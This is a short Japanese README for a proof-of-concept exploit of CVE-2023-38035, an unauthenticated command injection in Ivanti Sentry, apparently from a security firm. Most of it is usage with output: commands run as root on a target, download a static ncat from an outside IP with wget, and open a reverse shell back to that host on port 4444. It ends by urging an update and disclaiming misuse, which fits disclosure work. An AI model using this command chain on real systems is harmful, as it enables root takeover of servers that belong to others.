
Ivanti Sentry CVE-2023-38035
Ivanti Sentry に影響する CVE-2023-38035 の POC
脆弱性の技術的根本原因解析は、当社ブログでご覧いただけます: https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive
この POC は、認証されていないコマンドインジェクションを悪用して、root ユーザーとして任意のコマンドを実行します。
実行コンテキストではコマンドのパイプが許可されておらず、システムには悪用しやすいバイナリが同梱されていないため、コマンドを連鎖させて、https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat などの場所から静的 ncat をダウンロードできます。
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'wget http://123.123.123.123:8000/ncat -O /tmp/ncat'
[+] Successfully executed command on target!
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'chmod +x /tmp/ncat'
[+] Successfully executed command on target!
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'sudo /tmp/ncat 123.123.123.123 4444 -e /bin/sh'
[+] Successfully executed command on target!

Ivanti アドバイザリの指示に従って最新バージョンに更新してください
このソフトウェアは、純粋に学術研究と効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクトのメンテナは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。